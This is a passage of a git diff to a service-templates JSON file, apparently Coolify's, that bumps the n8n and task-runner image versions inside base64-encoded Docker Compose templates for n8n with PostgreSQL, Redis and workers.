05PREVfRElTQUJMRV9CQVJFX1JFUE9TPSR7TjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM9JHtOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TOi10cnVlfScKICAgICAgLSAnTjhOX1BST1hZX0hPUFM9JHtOOE5fUFJPWFlfSE9QUzotMX0nCiAgICAgIC0gJ044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s9JHtOOE5fU0tJUF9BVVRIX09OX09BVVRIX0NBTExCQUNLOi1mYWxzZX0nCiAgICB2b2x1bWVzOgogICAgICAtICduOG4tZGF0YTovaG9tZS9ub2RlLy5uOG4nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjU2NzgvJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgdGFzay1ydW5uZXJzOgogICAgaW1hZ2U6ICduOG5pby9ydW5uZXJzOjIuMTAuMicKICAgIGVudmlyb25tZW50OgogICAgICAtICdOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk9JHtOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk6LWh0dHA6Ly9uOG46NTY3OX0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX0FVVEhfVE9LRU49JHtTRVJWSUNFX1BBU1NXT1JEX044Tn0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX0FVVE9fU0hVVERPV05fVElNRU9VVD0ke044Tl9SVU5ORVJTX0FVVE9fU0hVVERPV05fVElNRU9VVDotMTV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBuOG4KICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY4MC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", "tags": [ "n8n", "workflow", diff --git a/templates/service-templates.json b/templates/service-templates.json index 58f990de6..5307b2259 100644 --- a/templates/service-templates.json +++ b/templates/service-templates.json @@ -2884,7 +2884,7 @@ "n8n-with-postgres-and-worker": { "documentation": "https://n8n.io?utm_source=coolify.io", "slogan": "n8n is an extendable workflow automation tool with queue mode and workers.", - "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xLjUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fTjhOXzU2NzgKICAgICAgLSAnTjhOX0VESVRPUl9CQVNFX1VSTD0ke1NFUlZJQ0VfRlFETl9OOE59JwogICAgICAtICdXRUJIT09LX1VSTD0ke1NFUlZJQ0VfRlFETl9OOE59JwogICAgICAtICdOOE5fSE9TVD0ke1NFUlZJQ0VfRlFETl9OOE59JwogICAgICAtICdOOE5fUFJPVE9DT0w9JHtOOE5fUFJPVE9DT0w6LWh0dHBzfScKICAgICAgLSAnR0VORVJJQ19USU1FWk9ORT0ke0dFTkVSSUNfVElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gREJfVFlQRT1wb3N0Z3Jlc2RiCiAgICAgIC0gJ0RCX1BPU1RHUkVTREJfREFUQUJBU0U9JHtQT1NUR1JFU19EQjotbjhufScKICAgICAgLSBEQl9QT1NUR1JFU0RCX0hPU1Q9cG9zdGdyZXNxbAogICAgICAtIERCX1BPU1RHUkVTREJfUE9SVD01NDMyCiAgICAgIC0gREJfUE9TVEdSRVNEQl9VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1NDSEVNQT1wdWJsaWMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gRVhFQ1VUSU9OU19NT0RFPXF1ZXVlCiAgICAgIC0gUVVFVUVfQlVMTF9SRURJU19IT1NUPXJlZGlzCiAgICAgIC0gUVVFVUVfSEVBTFRIX0NIRUNLX0FDVElWRT10cnVlCiAgICAgIC0gJ044Tl9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfRU5DUllQVElPTn0nCiAgICAgIC0gTjhOX1JVTk5FUlNfRU5BQkxFRD10cnVlCiAgICAgIC0gTjhOX1JVTk5FUlNfTU9ERT1leHRlcm5hbAogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M9JHtOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M6LTAuMC4wLjB9JwogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfUE9SVD0ke044Tl9SVU5ORVJTX0JST0tFUl9QT1JUOi01Njc5fScKICAgICAgLSBOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSRTRVJWSUNFX1BBU1NXT1JEX044TgogICAgICAtICdOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI9JHtOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI6LXRydWV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgICAtIE9GRkxPQURfTUFOVUFMX0VYRUNVVElPTlNfVE9fV09SS0VSUz10cnVlCiAgICAgIC0gJ044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU9JHtOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFOi10cnVlfScKICAgICAgLSAnTjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUz0ke044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M6LXRydWV9JwogICAgICAtICdOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TPSR7TjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9QUk9YWV9IT1BTPSR7TjhOX1BST1hZX0hPUFM6LTF9JwogICAgICAtICdOOE5fU0tJUF9BVVRIX09OX09BVVRIX0NBTExCQUNLPSR7TjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSzotZmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnbjhuLWRhdGE6L2hvbWUvbm9kZS8ubjhuJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXNxbDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo1Njc4LycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIG44bi13b3JrZXI6CiAgICBpbWFnZTogJ244bmlvL244bjoyLjEuNScKICAgIGNvbW1hbmQ6IHdvcmtlcgogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0dFTkVSSUNfVElNRVpPTkU9JHtHRU5FUklDX1RJTUVaT05FOi1VVEN9JwogICAgICAtICdUWj0ke1RaOi1VVEN9JwogICAgICAtIERCX1RZUEU9cG9zdGdyZXNkYgogICAgICAtICdEQl9QT1NUR1JFU0RCX0RBVEFCQVNFPSR7UE9TVEdSRVNfREI6LW44bn0nCiAgICAgIC0gREJfUE9TVEdSRVNEQl9IT1NUPXBvc3RncmVzcWwKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BPUlQ9NTQzMgogICAgICAtIERCX1BPU1RHUkVTREJfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gREJfUE9TVEdSRVNEQl9TQ0hFTUE9cHVibGljCiAgICAgIC0gREJfUE9TVEdSRVNEQl9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtIEVYRUNVVElPTlNfTU9ERT1xdWV1ZQogICAgICAtIFFVRVVFX0JVTExfUkVESVNfSE9TVD1yZWRpcwogICAgICAtIFFVRVVFX0hFQUxUSF9DSEVDS19BQ1RJVkU9dHJ1ZQogICAgICAtICdOOE5fRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX0VOQ1JZUFRJT059JwogICAgICAtIE44Tl9SVU5ORVJTX0VOQUJMRUQ9dHJ1ZQogICAgICAtIE44Tl9SVU5ORVJTX01PREU9ZXh0ZXJuYWwKICAgICAgLSAnTjhOX1JVTk5FUlNfQlJPS0VSX0xJU1RFTl9BRERSRVNTPSR7TjhOX1JVTk5FUlNfQlJPS0VSX0xJU1RFTl9BRERSRVNTOi0wLjAuMC4wfScKICAgICAgLSAnTjhOX1JVTk5FUlNfQlJPS0VSX1BPUlQ9JHtOOE5fUlVOTkVSU19CUk9LRVJfUE9SVDotNTY3OX0nCiAgICAgIC0gTjhOX1JVTk5FUlNfQVVUSF9UT0tFTj0kU0VSVklDRV9QQVNTV09SRF9OOE4KICAgICAgLSAnTjhOX05BVElWRV9QWVRIT05fUlVOTkVSPSR7TjhOX05BVElWRV9QWVRIT05fUlVOTkVSOi10cnVlfScKICAgICAgLSAnTjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZPSR7TjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZOi01fScKICAgICAgLSAnTjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERT0ke044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU6LXRydWV9JwogICAgICAtICdOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TPSR7TjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM9JHtOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TOi10cnVlfScKICAgICAgLSAnTjhOX1BST1hZX0hPUFM9JHtOOE5fUFJPWFlfSE9QUzotMX0nCiAgICAgIC0gJ044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s9JHtOOE5fU0tJUF9BVVRIX09OX09BVVRIX0NBTExCQUNLOi1mYWxzZX0nCiAgICB2b2x1bWVzOgogICAgICAtICduOG4tZGF0YTovaG9tZS9ub2RlLy5uOG4nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjU2NzgvaGVhbHRoeicKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgbjhuOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHBvc3RncmVzcWw6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICBwb3N0Z3Jlc3FsOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNi1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlc3FsLWRhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUE9TVEdSRVNfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gUE9TVEdSRVNfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotbjhufScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6Ni1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdyZWRpcy1kYXRhOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gcGluZwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICB0YXNrLXJ1bm5lcnM6CiAgICBpbWFnZTogJ244bmlvL3J1bm5lcnM6Mi4xLjUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTjhOX1JVTk5FUlNfVEFTS19CUk9LRVJfVVJJPSR7TjhOX1JVTk5FUlNfVEFTS19CUk9LRVJfVVJJOi1odHRwOi8vbjhuLXdvcmtlcjo1Njc5fScKICAgICAgLSBOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSRTRVJWSUNFX1BBU1NXT1JEX044TgogICAgICAtICdOOE5fUlVOTkVSU19BVVRPX1NIVVRET1dOX1RJTUVPVVQ9JHtOOE5fUlVOTkVSU19BVVRPX1NIVVRET1dOX1RJTUVPVVQ6LTE1fScKICAgICAgLSAnTjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZPSR7TjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZOi01fScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gbjhuCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjU2ODAvJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", + "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xMC4yJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX044Tl81Njc4CiAgICAgIC0gJ044Tl9FRElUT1JfQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnV0VCSE9PS19VUkw9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnTjhOX0hPU1Q9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnTjhOX1BST1RPQ09MPSR7TjhOX1BST1RPQ09MOi1odHRwc30nCiAgICAgIC0gJ0dFTkVSSUNfVElNRVpPTkU9JHtHRU5FUklDX1RJTUVaT05FOi1VVEN9JwogICAgICAtICdUWj0ke1RaOi1VVEN9JwogICAgICAtIERCX1RZUEU9cG9zdGdyZXNkYgogICAgICAtICdEQl9QT1NUR1JFU0RCX0RBVEFCQVNFPSR7UE9TVEdSRVNfREI6LW44bn0nCiAgICAgIC0gREJfUE9TVEdSRVNEQl9IT1NUPXBvc3RncmVzcWwKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BPUlQ9NTQzMgogICAgICAtIERCX1BPU1RHUkVTREJfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gREJfUE9TVEdSRVNEQl9TQ0hFTUE9cHVibGljCiAgICAgIC0gREJfUE9TVEdSRVNEQl9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtIEVYRUNVVElPTlNfTU9ERT1xdWV1ZQogICAgICAtIFFVRVVFX0JVTExfUkVESVNfSE9TVD1yZWRpcwogICAgICAtIFFVRVVFX0hFQUxUSF9DSEVDS19BQ1RJVkU9dHJ1ZQogICAgICAtICdOOE5fRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX0VOQ1JZUFRJT059JwogICAgICAtIE44Tl9SVU5ORVJTX0VOQUJMRUQ9dHJ1ZQogICAgICAtIE44Tl9SVU5ORVJTX01PREU9ZXh0ZXJuYWwKICAgICAgLSAnTjhOX1JVTk5FUlNfQlJPS0VSX0xJU1RFTl9BRERSRVNTPSR7TjhOX1JVTk5FUlNfQlJPS0VSX0xJU1RFTl9BRERSRVNTOi0wLjAuMC4wfScKICAgICAgLSAnTjhOX1JVTk5FUlNfQlJPS0VSX1BPUlQ9JHtOOE5fUlVOTkVSU19CUk9LRVJfUE9SVDotNTY3OX0nCiAgICAgIC0gTjhOX1JVTk5FUlNfQVVUSF9UT0tFTj0kU0VSVklDRV9QQVNTV09SRF9OOE4KICAgICAgLSAnTjhOX05BVElWRV9QWVRIT05fUlVOTkVSPSR7TjhOX05BVElWRV9QWVRIT05fUlVOTkVSOi10cnVlfScKICAgICAgLSAnTjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZPSR7TjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZOi01fScKICAgICAgLSBPRkZMT0FEX01BTlVBTF9FWEVDVVRJT05TX1RPX1dPUktFUlM9dHJ1ZQogICAgICAtICdOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFPSR7TjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERTotdHJ1ZX0nCiAgICAgIC0gJ044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M9JHtOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TOi10cnVlfScKICAgICAgLSAnTjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUz0ke044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM6LXRydWV9JwogICAgICAtICdOOE5fUFJPWFlfSE9QUz0ke044Tl9QUk9YWV9IT1BTOi0xfScKICAgICAgLSAnTjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSz0ke044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ244bi1kYXRhOi9ob21lL25vZGUvLm44bicKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzcWw6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY3OC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBuOG4td29ya2VyOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xMC4yJwogICAgY29tbWFuZDogd29ya2VyCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnR0VORVJJQ19USU1FWk9ORT0ke0dFTkVSSUNfVElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gREJfVFlQRT1wb3N0Z3Jlc2RiCiAgICAgIC0gJ0RCX1BPU1RHUkVTREJfREFUQUJBU0U9JHtQT1NUR1JFU19EQjotbjhufScKICAgICAgLSBEQl9QT1NUR1JFU0RCX0hPU1Q9cG9zdGdyZXNxbAogICAgICAtIERCX1BPU1RHUkVTREJfUE9SVD01NDMyCiAgICAgIC0gREJfUE9TVEdSRVNEQl9VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1NDSEVNQT1wdWJsaWMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gRVhFQ1VUSU9OU19NT0RFPXF1ZXVlCiAgICAgIC0gUVVFVUVfQlVMTF9SRURJU19IT1NUPXJlZGlzCiAgICAgIC0gUVVFVUVfSEVBTFRIX0NIRUNLX0FDVElWRT10cnVlCiAgICAgIC0gJ044Tl9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfRU5DUllQVElPTn0nCiAgICAgIC0gTjhOX1JVTk5FUlNfRU5BQkxFRD10cnVlCiAgICAgIC0gTjhOX1JVTk5FUlNfTU9ERT1leHRlcm5hbAogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M9JHtOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M6LTAuMC4wLjB9JwogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfUE9SVD0ke044Tl9SVU5ORVJTX0JST0tFUl9QT1JUOi01Njc5fScKICAgICAgLSBOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSRTRVJWSUNFX1BBU1NXT1JEX044TgogICAgICAtICdOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI9JHtOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI6LXRydWV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgICAtICdOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFPSR7TjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERTotdHJ1ZX0nCiAgICAgIC0gJ044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M9JHtOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TOi10cnVlfScKICAgICAgLSAnTjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUz0ke044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM6LXRydWV9JwogICAgICAtICdOOE5fUFJPWFlfSE9QUz0ke044Tl9QUk9YWV9IT1BTOi0xfScKICAgICAgLSAnTjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSz0ke044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ244bi1kYXRhOi9ob21lL25vZGUvLm44bicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY3OC9oZWFsdGh6JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBuOG46CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcG9zdGdyZXNxbDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIHBvc3RncmVzcWw6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3Bvc3RncmVzcWwtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBQT1NUR1JFU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1uOG59JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHRhc2stcnVubmVyczoKICAgIGltYWdlOiAnbjhuaW8vcnVubmVyczoyLjEwLjInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTjhOX1JVTk5FUlNfVEFTS19CUk9LRVJfVVJJPSR7TjhOX1JVTk5FUlNfVEFTS19CUk9LRVJfVVJJOi1odHRwOi8vbjhuLXdvcmtlcjo1Njc5fScKICAgICAgLSBOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSRTRVJWSUNFX1BBU1NXT1JEX044TgogICAgICAtICdOOE5fUlVOTkVSU19BVVRPX1NIVVRET1dOX1RJTUVPVVQ9JHtOOE5fUlVOTkVSU19BVVRPX1NIVVRET1dOX1RJTUVPVVQ6LTE1fScKICAgICAgLSAnTjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZPSR7TjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZOi01fScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gbjhuCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjU2ODAvJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", "tags": [ "n8n", "workflow", @@ -2905,7 +2905,7 @@ "n8n-with-postgresql": { "documentation": "https://n8n.io?utm_source=coolify.io", "slogan": "n8n is an extendable workflow automation tool.", - "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xLjUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fTjhOXzU2NzgKICAgICAgLSAnTjhOX0VESVRPUl9CQVNFX1VSTD0ke1NFUlZJQ0VfRlFETl9OOE59JwogICAgICAtICdXRUJIT09LX1VSTD0ke1NFUlZJQ0VfRlFETl9OOE59JwogICAgICAtICdOOE5fSE9TVD0ke1NFUlZJQ0VfRlFETl9OOE59JwogICAgICAtICdOOE5fUFJPVE9DT0w9JHtOOE5fUFJPVE9DT0w6LWh0dHBzfScKICAgICAgLSAnR0VORVJJQ19USU1FWk9ORT0ke0dFTkVSSUNfVElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gREJfVFlQRT1wb3N0Z3Jlc2RiCiAgICAgIC0gJ0RCX1BPU1RHUkVTREJfREFUQUJBU0U9JHtQT1NUR1JFU19EQjotbjhufScKICAgICAgLSBEQl9QT1NUR1JFU0RCX0hPU1Q9cG9zdGdyZXNxbAogICAgICAtIERCX1BPU1RHUkVTREJfUE9SVD01NDMyCiAgICAgIC0gREJfUE9TVEdSRVNEQl9VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1NDSEVNQT1wdWJsaWMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gTjhOX1JVTk5FUlNfRU5BQkxFRD10cnVlCiAgICAgIC0gTjhOX1JVTk5FUlNfTU9ERT1leHRlcm5hbAogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M9JHtOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M6LTAuMC4wLjB9JwogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfUE9SVD0ke044Tl9SVU5ORVJTX0JST0tFUl9QT1JUOi01Njc5fScKICAgICAgLSBOOE5fUlVOTkVSU19BVVRIX1RPS0VO